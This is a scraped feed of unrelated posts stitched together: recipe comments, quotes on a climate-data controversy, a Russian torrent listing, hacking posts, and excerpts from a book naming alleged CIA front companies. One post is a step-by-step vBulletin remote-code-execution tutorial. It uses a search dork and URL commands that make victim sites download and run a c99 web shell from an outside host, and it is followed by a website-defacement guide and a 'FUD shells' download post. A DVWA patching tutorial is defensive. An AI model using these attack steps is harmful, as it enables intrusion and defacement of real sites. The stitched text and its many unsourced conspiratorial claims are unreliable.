Comment on Sweet Potato & Ricotta Stuffed Shells by Fast Food Friday: Sweet Potatoes – RUNNING VIBES        
[…] love my sweet potato roasted in the oven with some cinnamon but this stuffed shell recipe looks delightful. I see a future expiramentation coming […]
          Comment on Basil Pesto by Sweet Potato & Ricotta Stuffed Shells – Kenan and Kale        
[…] 1. Preheat oven to 375 degrees (F) 2. Coat a baking sheet with cooking spray. Roast cubed sweet potato for 20 minutes or until soft. 3. Using a hand mixer, beat the cooked sweet potato until smooth then place in the refrigerator to cool. 4. Cook the shells according to instructions on the box. When they are done, drain and rinse with cool water. 5. While shells are cooking, mix together ricotta cheese, spices, parmesan, and spinach with a large spoon. When sweet potato is cool, add to ricotta mixture. 6. Line a 9×11 baking pan with cooking spray. Spoon ricotta and sweet potato mixture into shells and place in pan. When the pan is full, sprinkle with grated parmesan cheese and bake at 375 degrees (F) for 20-25 minutes or until cheese is melted and shell filling is hot. 7. Serve with basil pesto (recipe here!) […]
          Update (February 11, 2017) - '..ethical standards..' ('.. Dr. Bates appeared to distance himself from some of what he wrote in the blog post..') (no replies)        
Update February 11, 2017: 'In an interview on Monday with E&E News, Dr. Bates appeared to distance himself from some of what he wrote in the blog post, and from the way his criticisms were portrayed in the Mail on Sunday article.

“The issue here is not an issue of tampering with data,” he said, “but rather really of timing of a release of a paper that had not properly disclosed everything it was.”

Climate Home, a nonprofit site based in London that offers news and analysis, also weighed in on one of the central contentions of Mr. Rose’s article, that the publication of the NOAA paper had "duped” policy makers into adopting the Paris accord. The site contacted representatives to the talks from 10 countries; none said that the paper had any influence.'

- Henry Fountain, No Data Manipulation in 2015 Climate Study, Researchers Say, February 7, 2016


Update February 09, 2017: 'Dr Bates’ main complaint is that Dr Karl and his co-authors did not follow strict procedures required for NOAA’s ‘operational’ data. It is not yet clear whether Dr Karl should have subjected his research data to the same procedures. Dr Karl, who retired from NOAA in August 2016, has not yet had the opportunity to respond fully to Dr Bates’ allegations.'

- LSE: More fake news in ‘The Mail on Sunday’, February 5, 2017 (Wikipedia Bans Daily Mail As 'Unreliable' Source, February 08, 2017))


'..a failure to observe proper ethical standards..'

'Dr John Bates’s disclosures about the manipulation of data behind the ‘Pausebuster’ paper is the biggest scientific scandal since ‘Climategate’ in 2009 when, as this paper reported, thousands of leaked emails revealed scientists were trying to block access to data, and using a ‘trick’ to conceal embarrassing flaws in their claims about global warming.

Both scandals suggest a lack of transparency and, according to Dr Bates, a failure to observe proper ethical standards.

Because of NOAA ’s failure to ‘archive’ data used in the paper, its results can never be verified.

Like Climategate, this scandal is likely to reverberate around the world, and reignite some of science’s most hotly contested debates.'

- Exposed: How world leaders were duped into investing billions over manipulated global warming data, February 4, 2017


'Whatever takes its place, said Dr Bates, ‘there needs to be a fundamental change to the way NOAA deals with data so that people can check and validate scientific results. I’m hoping that this will be a wake-up call to the climate science community – a signal that we have to put in place processes to make sure this kind of crap doesn’t happen again.

..

Dr Bates said: ‘How ironic it is that there is now this idea that Trump is going to trash climate data, when key decisions were earlier taken by someone whose responsibility it was to maintain its integrity – and failed.’ '


'Dr Bates retired from NOAA at the end of last year after a 40-year career in meteorology and climate science. As recently as 2014, the Obama administration awarded him a special gold medal for his work in setting new, supposedly binding standards ‘to produce and preserve climate data records’.

..

Less than two years earlier, a blockbuster report from the UN Intergovernmental Panel on Climate Change (IPCC), which drew on the work of hundreds of scientists around the world, had found ‘a much smaller increasing trend over the past 15 years 1998-2012 than over the past 30 to 60 years’. Explaining the pause became a key issue for climate science. It was seized on by global warming sceptics, because the level of CO2 in the atmosphere had continued to rise.

..

In the weeks after the Pausebuster paper was published, Dr Bates conducted a one-man investigation into this. His findings were extraordinary. Not only had Mr Karl and his colleagues failed to follow any of the formal procedures required to approve and archive their data, they had used a ‘highly experimental early run’ of a programme that tried to combine two previously separate sets of records.

..

Dr Bates revealed that the failure to archive and make available fully documented data not only violated NOAA rules, but also those set down by Science. Before he retired last year, he continued to raise the issue internally. Then came the final bombshell. Dr Bates said: ‘I learned that the computer used to process the software had suffered a complete failure.’

The reason for the failure is unknown, but it means the Pausebuster paper can never be replicated or verified by other scientists.

..

Whatever takes its place, said Dr Bates, ‘there needs to be a fundamental change to the way NOAA deals with data so that people can check and validate scientific results. I’m hoping that this will be a wake-up call to the climate science community – a signal that we have to put in place processes to make sure this kind of crap doesn’t happen again.

Dr Bates said: ‘How ironic it is that there is now this idea that Trump is going to trash climate data, when key decisions were earlier taken by someone whose responsibility it was to maintain its integrity – and failed.’

NOAA not only failed, but it effectively mounted a cover-up when challenged over its data. After the paper was published, the US House of Representatives Science Committee launched an inquiry into its Pausebuster claims. NOAA refused to comply with subpoenas demanding internal emails from the committee chairman, the Texas Republican Lamar Smith, and falsely claimed that no one had raised concerns about the paper internally.'

- Exposed: How world leaders were duped into investing billions over manipulated global warming data, February 4, 2017


Context '..conduct more meetings on ethics .. Respectful discussion of different points of view should be encouraged.' - John Bates

Climategate: Follow the Money - By Bret Stephens

Those Who Control the Past Control the Future, Climate Data Edition, February 5, 2017

'..Earth is warming more rapidly than previously thought was correct..'


'Trees are the best known ‘technology’ to cool our planet'

Focus Fusion - '..So, production reactors by 2020 or so.'

(Earth Defence - Earth Shield) - Faraday - Tesla - 'The Accelerating Winds of Venus.' (Electric Universe - Solar Climate Change)


(The Electric Universe - Earth Defence - Earth Shield) - Electric Fossils and Thundercrabs

(The Electric Universe) - '..weather systems .. an electric “wind” surrounds and often precedes an electric arc.'

(Thymology - Haptopraxeology) - '..entrepreneurship .. actions he will carry out and estimates the future effect of those actions..'


'...The peer review process is broken...' - '...don't have the "situational awareness"...'

On the Mail on Sunday article on Karl et al., 2015, February 5, 2017

          CheatSheet: Powershell        

          Tools: HTTP Security Headers Powershell script        

          Tools: Powercat - A PowerShell version of netcat.        

          5 патронов / 5 Shells (2012) WEB-DLRip 720p | l2        

Категория: Фильмы/HDTV/HD/Blu-Ray/MKV
Размер: 2.66 GB
Траффик: Раздают (отдают): 9,085, Скачивают (качают): 9,022
Добавлен: 2017-08-10 12:50:22
Описание: Информация о фильме
Название: 5 патронов
Оригинальное название: 5 Shells
Год выхода: 2012
Жанр: драма, фантастика

Режиссер: Пол С. Майерс / Paul S. Myers
В ролях: Чед Брамметт, Джордан Грэйди, Келси Хаттон, Ив Козиловский, Линкольн Марк

О фильме:
После смерти родителей Мэтти и Джослин остаются совсем одни в мире, разрушенном финансовым кризисом. С ружьем в руках, чувствуя на своих плечах груз ответственности за жизнь сестры, Мэтти принимает решение отправиться через постапокалиптическую пустыню в поисках нового дома.


http://s.rutor.info/imdb/pic/1832272.gif http://www.kinopoisk.ru/rating/613331.gif

Страна: США
Студия: Melodramatic Eagle Productions
Продолжительность: 01:27:16
Перевод: Любительский (двухголосый закадровый) DeadSno den904

Файл
Кодек: h.264
Качество: WEB-DLRip 720p
Видео: 1280x720, 4358 kbps, 23.976 fps
Звук:
Аудио 1: Русский, AC3, 2 ch, 48 KHz, 192 kbps
Аудио 2: Английский, AAC, 2 ch, 48 KHz, 192 kbps
Субтитры: отсутствуют

Семпл

Скриншоты

          What is Remote Code Execution? How to Hack Websites        
According to Wikipedia, Remote Code Execution can be defined as “In computer security, arbitrary code execution or remote code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shell code to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution”

vBulletin RCE Injection

Few websites running vBulletin are vulnerable to Remote Code Execution, by exploiting the vulnerability we can get our PHP backdoor shell uploaded on the website. We’ll use a dork to find the vulnerable website.

Note: Don’t keep yourself restricted when it comes to using dorks, use other search engines too other than Google, like Bing, Yahoo etc. Use of multiple search engines will help you to get more vulnerable websites.

Dork: inurl:faq.php & intext:"Warning: system() [function.system]"

Now, select any website of your choice from th search result, and go to its faq.php page. If the website is vulnerable, you will get the following on the page.


You will get an error similar to Warning: system() [function.system]: Cannot execute a blank command in [path]/faq.php(324) : eval()'d code on line 1

So, firstly upload your PHP shell on any free hosting website or you can use sh3ll.org/c99.txt as it has already got an uploaded .txt shell. (We will be first uploading our shell in .txt form, and later will be changing the extension to .php after the upload process is completed.

Suppose the vulnerable website is http://www.vulnerable.com/faq.php. So in order to upload our shell enter the following in the URL bar:

http://www.vulnerable.com/faq.php?cmd=cd /tmp;wget http://sh3ll.org/c99.txt

To check if we were able to successfully upload our shell, enter the following in the URL bar 
http://www.vulnerable.com/faq.php?cmd=cd /tmp;ls -la c99.txt

Were c99.txt is the name of your uploaded shell. If we were successful in uploading our shell, we see the following text on the page. (Might be a little different in some cases)
-rw-r—r—1 nobody nobody

We know that our shell is successful uploaded on the website, now it’s time to change the file format from .txt to .php in order to execute it on the server.

http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
(You can change check.php to any other name of your choice)

Now, the file format is change. It’s time to execute our shell, so to execute it enter the following in the URL bar
http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
 

Bingo!! We successfully exploited vBulletin Remote Code Execution Vulnerability.


          How To Deface Websites?        


Everyone who is new to hacking, the first thing that they want to learn is how to deface a website, root the server or how to crack cPanels of the website. In this post I will be telling you how hackers manage to break into a website- deface it, symlink it, root the server etc.

So let's start.

SQL Injection

SQL Injection is one of the most widely and commonly used method for hacking and breaking into the website. For performing SQL Injections attacks, manual approach as well as automated tool approach can be used. You can find SQL Vulnerable sites from here

For Automated SQL Injection
SQL Injection using Havij Automated Tool
SQL Injection through SQL Map
SQL Injection with you Android Phone

Download Havij Pro version from here

For Manual SQL Injection
Manual SQL Injection
MySQL Injection
Hack Admin Panel of a Website with SQL Injection

Hacking a Website on Shared Server.
Suppose you have a website which is hosted on the server with an IP address 192.168.1.4 and you want to shell this server and have to access a particular site and deface it.
So to accomplish this task you can use bing, Learn it from here

Broke into the admin panel? confused now what to do?
Now, you are finally into the administrator panel of the website. Now you next task is to upload a shell. So for that find a upload forum, and shell it with Live HTTP headers, learn this from here.
Sometimes server security is tight so it is difficult to get you shell executed. If you face any similar kind of problem, here is the solution.

To upload you shell on Joomla refer to the post -> How to Upload You Shell on Joomla
for Wordpress go here -> Upload You Shell on Wordpress

Learn hacking wordpress and joomla sites from here

You got your shell up on the server. Now you can simply deface it. Root the server, mass deface it. symlink it.

How to root a server
How to crack cPanel
How to mass deface
Mass defacing script
How to Symlink

Got doubts? Comment below and get you query solved.

           New And Latest FUD Encrypted Shells Collection 2013        

 New And Latest FUD Encrypted Shells Collection



Interface Of Shells 

=====================================================================





















Download Link :- Link 1 


          Fixing/Patching DVWA Remote command Execution vulnerability        


Hi readers! its me Rishal. It's been so long since i have posted any good tutorial, so today i will be showing you all something new & interesting which is "Fixing DVWA Remote command Execution vulnerability". Let's get started.



 
Things Required:

  • DVWA Installed on your localhost



Step by Step Guide:


  • Login into dvwa & set the security level to low. 























    • Go to the command execution Vulnerable Application. Now let's first test it by executing come command. In my case i'm using Windows OS so i will be using windows command "dir". 
             Command - 127.0.0.1 | dir 

             Now once the command gets executed you should get a result showing some volume info & the files in the current directory as shown in the below image. 






    • Now its very clear that the web application is vulnerable to the command execution vulnerability. Now let's check thew source code of the webpage.  Just click on view source below the webpage. 






     

    As you can see in the source code there is "NO" filtration for the data entered by the user, therefore allowing the attacker to pass arbitrary commands.  To implement a fix we will have to add a filtration to the data entered by the user in the field.




    The Fix :

    • escapeshellarg() - It adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user end.

     Fix -

    <?php
    if( isset( $_POST'submit' ] ) ) {

        
    $target escapeshellarg($_REQUEST'ip' ]);

        
    // Determine OS and execute the ping command.
        
    if (stristr(php_uname('s'), 'Windows NT')) { 
        
            
    $cmd shell_exec'ping  ' $target );
            echo 
    '<pre>'.$cmd.'</pre>';
            
        } else { 
        
            
    $cmd shell_exec'ping  -c 3 ' $target );
            echo 
    '<pre>'.$cmd.'</pre>';
            
        }
        
    }
    ?>
     Result - 
     

    • escapeshellcmd() - This function is used to escape any character in a string that might be used to trick a shell command into executing any arbitrary commands. By escaping any character it ensures that any data coming from user end is filtered before it is passed to exec() or system().
    Fix -


    <?php
    if( isset( $_POST'submit' ] ) ) {

        
    $target escapeshellcmd($_REQUEST'ip' ]);

        
    // Determine OS and execute the ping command.
        
    if (stristr(php_uname('s'), 'Windows NT')) { 
        
            
    $cmd shell_exec'ping  ' $target );
            echo 
    '<pre>'.$cmd.'</pre>';
            
        } else { 
        
            
    $cmd shell_exec'ping  -c 3 ' $target );
            echo 
    '<pre>'.$cmd.'</pre>';
            
        }
        
    }
    ?>



    Result -
    Hope you all learned something new :). Keep yourself updated to our website by liking our Facebook Fan Page.  

              Arbitrary or Unrestricted File Upload        
    Arbitrary or Unrestricted File Upload is a type of web application vulnerability which occurs due to improper validation of the file which is being uploaded on the server.
    Suppose there is a website which allows users to upload image files with the extension like .jpg, .png, .gif and so on, but if the website is unable to properly verify the image file being uploaded, an attacker can take control over the whole website/server. This is especially true for files with the extension .php & .asp because they are automatically executed by the server.


    So in this post I will be explaining you how this vulnerability is caused by studying the source code. This post has been written keeping in mind that you are new to this type of vulnerability, so examples which will be explained will be basic ones. Advanced example will be posted in PART 2 of this post.

    Example
    The following is an HTML upload forum which allows pictures to be uploaded on the server.

    <form action="upload.php" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
    </form>
     
    When the file is submitted, it is send to upload.php on the server. The file is been stored in a temporary location until it is retrieved by the server side code. So after the file is uploaded, it is sent to a permanent directory or location through upload.php
     
    // Define the target location where the picture being
    // uploaded is going to be saved.
    $target = "pictures/" . basename($_FILES['uploadedfile']['name']);

    // Move the uploaded file to the new location.
    if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
    {
    echo "The picture has been successfully uploaded.";
    }
    else
    {
    echo "There was an error uploading the picture, please try again.";
    }
     
    The problem with the above code is that, the file type is not verified which is being uploaded, as a result an attacker can upload a malicious file on the server.

    Once the malicious file is uploaded on the server, arbitrary command execution is possible.

    Well, a simple solution to patch this type of problem is to check for MIME type in the uploaded request.
     
    if($_FILES['userfile']['type'] != "image/gif") {
          echo "Sorry, we only allow uploading GIF images";
          exit;
    }
     
    Well this method too can be bypassed by the manipulation of Request Header allowing
    What can be done instead is that use PHP functions to check that the file type is indeed of desired type, for example: ‘getimagesize()’ function of PHP takes a file name as an argument and returns the size and type of the image

    Some File Upload Vulnerabilities : 



    http://www.hackingsec.in/2012/03/testing-imageshell-and-deface-upload.html

    http://www.hackingsec.in/2012/03/file-manager-remote-shell-and-deface.html

    http://www.hackingsec.in/2012/02/fckeditor-remote-file-upload-exploit.html

    http://www.hackingsec.in/2012/01/file-thingi-deface-and-shell-upload.html

    http://www.hackingsec.in/2012/01/another-deface-and-shell-upload.html

    http://www.hackingsec.in/2012/01/defaceshell-and-image-upload.html



              Burn After Reading        

    Who’s Who
    What’s What

    In the World of CIA Fronts, Partners, Proprietaries & Contractors




    NEW BOOK:

    The Almost Classified Guide to CIA Front Companies, Proprietaries & Contractors
    By WAYNE MADSEN
    ISBN: 978-1-365-11196-9


    Cool Justice Editor's Note: Following are excerpts from author Madsen's introduction and the body of the work. Additional suggested reading: News story about Madsen's book via the Washington, D.C. based Justice Integrity Project [link at the bottom of this post].

    EXCERPTS:

    From the Introduction


    One of the most pervasive uses of companies as intelligence partners was under the CIA’s Operation MOCKINGBIRD. During the Cold War, the CIA, often with the approval of corporate executives, infiltrated their agents to work as journalists in newspapers, radio and television networks, wire services, and magazines. The following pages in this book are rife with examples of this penetration of the Fourth Estate – all too many in the opinion of this journalist. The CIA admitted to at least 400 journalists on the agency’s payroll at the height of MOCKINGBIRD. The CIA traditionally understates its capabilities, especially when its covert activities become publicly known. Moreover, the end of the Cold War did not stop the practice of the CIA in infiltrating the media and slant news reports to its wishes.

    *

    An insightful look behind the veils of secrecy into the CIA’s use of fronts, proprietaries, and partners calls into question the purpose of the CIA. Created by President Harry S Truman to serve as a central collector and repository of intelligence, the CIA became much more than that. A few weeks after the United States witnessed the assassination of President Kennedy in the middle of downtown Dallas, Truman penned an op-ed piece that appeared in several newspapers around the country. In it, Truman shared his regret for having created the CIA in 1947:

    “I think it has become necessary to take another look at the purpose and operations of our Central Intelligence Agency—CIA . . . For some time I have been disturbed by the way CIA has been diverted from its original assignment. It has become an operational and at times a policy-making arm of the Government. This has led to trouble and may have compounded our difficulties in several explosive areas.

    "I never had any thought that when I set up the CIA that it would be injected into peacetime cloak and dagger operations. Some of the complications and embarrassment I think we have experienced are in part attributable to the fact that this quiet intelligence arm of the President has been so removed from its intended role that it is being interpreted as a symbol of sinister and mysterious foreign intrigue.”

    *

    The 21st century’s CIA’s partners are more likely to be found among high-tech companies marketing the latest and greatest mobile applications and data mining programs than among banks, law offices, and advertising agencies. However, in the post-World War II era, the CIA’s top and middle echelons were normally found operating through cover as typewriter-pecking journalists, traveling Madison Avenue admen, corporate lawyers, and chain-smoking oilmen. In the 1970s and 80s, CIA contractors and partners began showing up in the high-tech field, with database, local area networking, and on-line information retrieval systems attracting the most interest by Langley.

    *

    As this book went to press, the smart phone game application Pokémon Go fad was sweeping the planet. Unbeknownst to many of the on-line game’s avid fan’s was the connection of the game’s developers to the CIA’s venture capital firm IN-Q-TEL. All users saw their geo-location and other smart phone data being swept up by a CIA partner firm.

    SELECTED ENTRIES

    Amazon, Inc. [CIA contractor]. Company provides cloud computing services for the CIA. Amazon’s CEO Jeff Bezos also owns The Washington Post.

    American Historical Society. [CIA partner]. Many society officials were OSS/CIA officers.

    American Press Institute. [CIA front]. Operating out of Columbia University, the institute’s director in the 1950s was a CIA officer.

    AmeriCares. [CIA partner]. A non-profit organization that is often the “first in” at refugee situations. Founded by tycoon J. Peter Grace, a board chairman of the CIA front, the American Institute for Free Labor Development (AIFLD) and a trustee of another CIA front, the American Committee for Liberation from Bolshevism, AmeriCares was involved in funding the Nicaraguan contras. The group has also provided the CIA with recruiting opportunities at mass refugee sites, particularly in Latin America and Asia.

    Bechtel Corporation. [CIA contractor]. Bechtel is a large construction company that has included former CIA director Richard Helms, CIA pseudonym “Fletcher M. Knight,” among its executive ranks. Bechtel was active in providing corporate cover for the OSS in the Middle East during World War II. Bechtel has been a consummate service company for various CIA operations, including support for the CIA-inspired coup against the Syrian government in 1949, the Iranian government of Prime Minister Mohamed Mossadeq in 1953, and President Sukarno of Indonesia in 1965. From the 1960s to the 1970s, Bechtel provided cover for CIA agents in Libya under both the regime of King Idris and his successor, Muammar Qaddafi. Sometimes called a “secret arm” of the CIA, Bechtel’s executives included those who would join President Reagan’s Cabinet, including Secretary of State George Schultz and Secretary of Defense Caspar Weinberger.

    Before World War II, Steve Bechtel formed a military-industrial complex partnership with John McCone. McCone later became the chairman of the Atomic Energy Commission and later, director of the CIA. The CIA has used Bechtel to provide cover for non-official cover CIA operatives abroad.

    Blackstone Investment Group. [CIA front]. With offices in Washington, DC and Moscow, arranged for the purchase of KGB documents following the collapse of the Soviet Union. Among the documents sought by the front company were any related to illegal CIA activities during the Cold War, including the 1963 assassination of President John F. Kennedy.

    Bourbon and Beefsteak Bar and Restaurant. [CIA front]. Opened in 1967 in King’s Cross in Sydney, Australia. Served as a rendezvous point for CIA, Australian Security Intelligence Organization (ASIO), and organized crime figures. Its proprietor was Bernie Houghton, a CIA operative with links to Nugan Hand Bank, CIA weapons smuggler Edwin Wilson, and CIA clandestine services officers Theodore Shackley, Rafael Quintero, and Thomas Clines.

    Center for Democracy. [CIA front]. Administered under the aegis of Boston University, the center maintained offices in Boston, Washington, DC, Guatemala City, and Strasbourg, France. Involved in CIA operations in eastern Europe, Central America, and Africa.

    Colt Patent Firearms Company. [CIA partner]. Based in Hartford, Connecticut, provided corporate cover for CIA officers operating abroad.

    Daddario & Burns. [CIA partner]. Headed by former OSS officer Emilio Daddario, a Democratic Representative from Connecticut, the Hartford-based law firm provided services to the CIA.

    DC Comics. [CIA partner]. Worked with the International Military Information Group (IMIG), a joint CIA/Pentagon unit at the State Department, to disseminate propaganda comic books, featuring Superman, Batman, and Wonder Woman, in Serbo-Croatian and Albanian, to youth in the Balkans during the military conflicts in that region.

    Disney Corporation. [CIA partner]. CIA agents who were adept at creating front companies and shell corporations in Florida, worked closely with Disney in preparation for the construction of Disney World near Orlando, Florida. OSS veteran “Wild Bill” Donovan and CIA shell company expert Paul Helliwell helped create two fake Florida cities, Bay Lake and Lake Buena Vista, as well as a number of shell corporations, to keep secret the plans for Disney World. This kept land prices low because real estate speculators were unaware of the prospective value of the land in a desolate area of central Florida.

    Emory School of Medicine. [CIA partner]. Located in Atlanta, Georgia. Involved in the CIA’s MK-ULTRA behavioral modification project.

    Enron Corporation [CIA partner]. Houston-based firm that was used by the CIA to provide commercial cover for its agents around the world. There were at least 20 CIA employees on Enron’s payroll. Andre Le Gallo, a former official of the CIA’s Operations Directorate, went to work as a corporate intelligence officer for Enron.

    Fair Play for Cuba Committee (FPCC). [CIA front]. Officially established by American Trotskyists, the group was penetrated by CIA operatives. The FPCC New Orleans office was a CIA front that provided cover for the anti-Fidel Castro activities of Lee Harvey Oswald, Clay Shaw, and David Ferrie, among others. The New Orleans FPCC office was located at 544 Camp Street and shared the same building entrance with Guy Banister Associates, Inc., a private detective agency, the address for which was 531 Lafayette Street and around the corner from 544 Camp Street.

    In December 1963, after the assassination of President John F. Kennedy, the FPCC ceased all U.S. operations.

    General Electric Company. [CIA partner]. Based in Fairfield, Connecticut, provided corporate cover for CIA officers operating abroad.

    General Foods Corporation. [CIA partner]. Advertising account at CIA’s Robert Mullen Company handled by an active CIA employee.

    Google, Inc. [CIA partner]. Developed as a result of a research grant by the CIA and Pentagon to Stanford University’s Department of Computer Science. The CIA referred to the research as the “google project.”

    Greenberg Traurig. [CIA partner]. Washington, DC “connected” law firm.

    Guy Banister Associates, Inc. [CIA partner]. New Orleans private detective agency headed by former FBI agent Guy Banister. The detective agency coordinated the activities of various anti-Castro Cuban groups in New Orleans, including Banister’s own Anti-Communist League of the Caribbean, as well as the Cuban Revolutionary Council, the Cuban Democratic Revolutionary Front, Friends of Democratic Cuba, and the Crusade to Free Cuba Committee.

    Banister and Associates shared office space with the CIA’s New Orleans front, the Fair Play for Cuba Committee, headed by Lee Harvey Oswald.

    Hale and Dorr. [CIA partner]. Boston-based law firm that provided cover for CIA’s Independence and Brown Foundations.

    Halliburton. [CIA contractor]. Based in Houston, it is the world’s largest oil service company. Recipient of a number of CIA sole-source contracts for services worldwide.

    Harper and Row, Inc. [CIA partner]. Manuscripts submitted to the New York publisher that dealt with intelligence matters, particularly CIA operations, were turned over to the CIA for censoring edits before publication.

    Hewlett Packard Corporation. [CIA partner]. Sold computers to Iraq for Saddam Hussein’s missile program with the knowledge and approval of the CIA.

    Hill & Knowlton. [CIA partner]. Public relations firm that teamed with the CIA on a number of operations. Hill & Knowlton’s numerous offices abroad provided cover for CIA agents. One known Hill & Knowlton office that was a CIA front operation was in Kuala Lumpur.

    Kerr-McGee. [CIA partner]. Provided corporate cover for CIA officers operating overseas.

    Kissinger Associates, Inc. [CIA partner]. New York-based international consulting firm founded by former Secretary of State and National Security Adviser Henry Kissinger. Former National Security Adviser Brent Scowcroft is a co-owner. The firm provided support to the CIA-linked American Ditchley Foundation and the Bilderberg Group. Much of the 1982 seed money for Kissinger Associates was provided by Goldman Sachs.

    Knight Foundation. [CIA partner]. Also known as the John S. and James L. Knight Foundation. Based in Miami, the foundation provides funding for various CIA-connected media operations in the United States and around the world.

    Kroll Inc. [CIA partner]. Founded in 1972 by Jules Kroll, who had links to both U.S. and Israeli intelligence. Based in Manhattan. French domestic law enforcement believed Kroll’s Paris office was a CIA front. Kroll handled the security for the World Trade Center after the 1993 terrorist bombing and continued to be responsible for security up to, during, and after the September 11, 2001 terrorist attack. Kroll employed former FBI assistant director for counter-terrorism John O’Neill, who died in the collapse of the World Trade Center.

    Lincoln Savings and Loan. [CIA partner]. Based in Irvine, California and headed by notorious swindler Charles Keating, Jr., involved in laundering funds for the Iran-contra scandal.

    Lone Star Cement Corporation. [CIA partner]. Based in Stamford, Connecticut and linked to the Bush family, provided corporate cover for CIA officers operating abroad. Involved in the Iran-contra scandal.

    Mary Carter Paint Company. [CIA front]. A money-laundering operation for the CIA. Involved in casinos in the Bahamas.

    Monsanto. [CIA partner]. The firm contracted with former CIA official Cofer Black’s Total Intelligence Solutions (TIS), a subsidiary of the CIA-connected Blackwater USA, later Xe Services, to monitor animal rights groups, anti-genetically modified (GM) food activists, and other groups opposed to Monsanto’s agri-business operations worldwide.

    National Enquirer. [CIA partner]. The tabloid’s founder, Generoso (Gene) Pope, Jr., worked for the CIA’s psychological warfare unit and the agency’s Italy branch in 1950. In 1952, Pope acquired The New York Enquirer broadsheet and transformed it into a tabloid, renaming it The National Enquirer. This transformation bore the imprimatur of the CIA’s Operation MOCKINGBIRD media influence program.

    Newsweek. [CIA partner]. Magazine reporters and stringers fed information to the CIA. Newsweek’s stringers in southeastern Europe and the Far East were CIA agents. When Newsweek was bought by The Washington Post Company in 1961, cooperation between the magazine and the CIA increased. It was a participant in the CIA’s Operation MOCKINGBIRD media influence program. Much of the staff of Newsweek was absorbed into a new online publication, The Daily Beast, which continues to disseminate CIA-influenced articles. See Washington Post.

    Nieman Foundation. [CIA partner]. Located at Harvard University, the foundation awarded Nieman Fellowships, some on behalf of the CIA, for foreign journalists to study at Harvard. The journalists were subjected to CIA recruitment efforts prior to their returning to their home countries.

    Pamela Martin & Associates. [CIA partner], Escort firm run by Deborah Jeane Palfrey, the so-called “DC Madam.” During her 2008 trial for mail fraud, Palfrey attempted to invoke the Classified Information Procedures Act in order to discuss her relationship with the CIA. The U.S. Court refused Palfrey’s request and she was convicted and later said to have committed suicide before her sentencing hearing in Washington, DC. One of her clients was Randall Tobias, the head of the CIA-connected USAID. Another was Louisiana Republican senator David Vitter.

    Paris Review. [CIA front]. Literary magazine edited by George Plimpton. Published works by Jack Kerouac and Samuel Beckett. The magazine’s co-founder, Peter Matthiessen, relied on his affiliation with the magazine as his CIA cover.

    Quaker Oats Company. [CIA partner]. Worked with the CIA and Atomic Energy Commission to place trace amounts of radiation in breakfast cereal served to boys at the Fernald School for the mentally retarded in Waltham, Massachusetts.

    Radio Corporation of America. [CIA partner]. Provided corporate cover for CIA officers operating abroad, particularly in Iran, Philippines, Japan, and West Germany. Provided technical assistance to CIA-financed clandestine and propaganda radio stations worldwide, including Radio Free Europe. RCA founder David Sarnoff was a major supporter of CIA operations, including propaganda dissemination around the world. RCA chairman and chief executive officer Thornton F. Bradshaw was active in the operations of the CIA-linked American Ditchley Foundation.

    Reily Coffee Company. [CIA partner]. Also known as William B. Reily Coffee Company and based in New Orleans, this company employed Lee Harvey Oswald and a number of other U.S. government employees, many of whom were suspected CIA officers.

    Robert M. Mullen Company. [CIA proprietary]. A Washington, DC public relations firm, it was used as a front for CIA activities. E. Howard Hunt, the CIA agent, worked for Robert Mullen when he was arrested in the break-in of the Democratic National Committee headquarters at the Watergate Hotel in Washington in 1972. The Senate Watergate Committee reported that “the Mullen and Company has maintained a relationship with the Central Intelligence Agency since its incorporation in 1959. It provided covers for agents in Europe (Stockholm), Latin America (Mexico City), and the Far East (Singapore) at the time of the Watergate break-in.”

    Rockefeller Foundation. [CIA partner]. Used by the CIA to direct scholarships and grants to the Third World and Eastern Europe. Rockefeller Foundation money was funneled to the American Committee for a United Europe (ACUE), created in 1948. The chairman of ACUE was OSS chief William J. Donovan and the vice chairman was Allen Dulles. One of ACUE’s board members was Walter Bedell Smith, the first CIA director.

    Summa Corporation. [CIA partner]. Owned by Howard Hughes, Summa is believed to have skimmed gambling profits from the Sands, Desert Inn, Frontier, Silver Slipper, Castaways, and Landmark casinos in Las Vegas and Harold’s Club in Reno for the CIA and the Mafia. Provided financial cover for the CIA’s Glomar Explorer project.

    Teneo Intelligence. [CIA partner]. Branch of Teneo Holdings, which is headquartered in New York. Teneo Holdings’s intelligence branch includes former CIA officials. Teneo is closely linked to former President Bill Clinton and Hillary Clinton. Teneo Intelligence has offices in New York, London, Rome, Brussels, Dubai, Bogota, New Delhi, and Tokyo.

    Texas Commerce Bank (TCB). [CIA partner]. Houston-based bank founded by the family of James Baker III. Texas Commerce Bank was used to provide commercial cover for CIA agents. After serving as vice president for Texas Commerce Bank in Caracas from 1977 to 1979, Jeb Bush joined his father’s presidential campaign in 1980. Serving with Bush on the campaign was Robert Gambino, the CIA deputy director of security who gave Bush his orientation brief at Langley in 1977.

    Kenneth Lay, the chairman of Enron, which had its own links to the CIA, served on the board of Texas Commerce Bank. Texas Commerce Bank was acquired by Chemical Bank in 1987.

    The bank provided major loans to Howard Hughes’s Summa Corporation. See Summa Corporation.

    United Fruit Company [CIA partner]. Involved in 1954 CIA overthrow of Jacobo Arbenz government in Guatemala. Published the Latin America Report, a publication that was a CIA front used for clandestine activities. The CIA transferred weapons to United Fruit employees in Guatemala who were involved in undermining the Arbenz government. The joint CIA-United Fruit plan was code named OPERATION FORTUNE. Company provided an airfield in Guatemala for the CIA’s training of Cuban exiles for the Bay of Pigs invasion of Cuba.

    U.S. Rubber Company. [CIA partner]. Headquartered in Naugatuck, Connecticut and later called Uniroyal, provided corporate cover to CIA officers operating abroad. Included those operating under the cover of the Dominion Rubber Company of Canada, a subsidiary of U.S. Rubber Company.

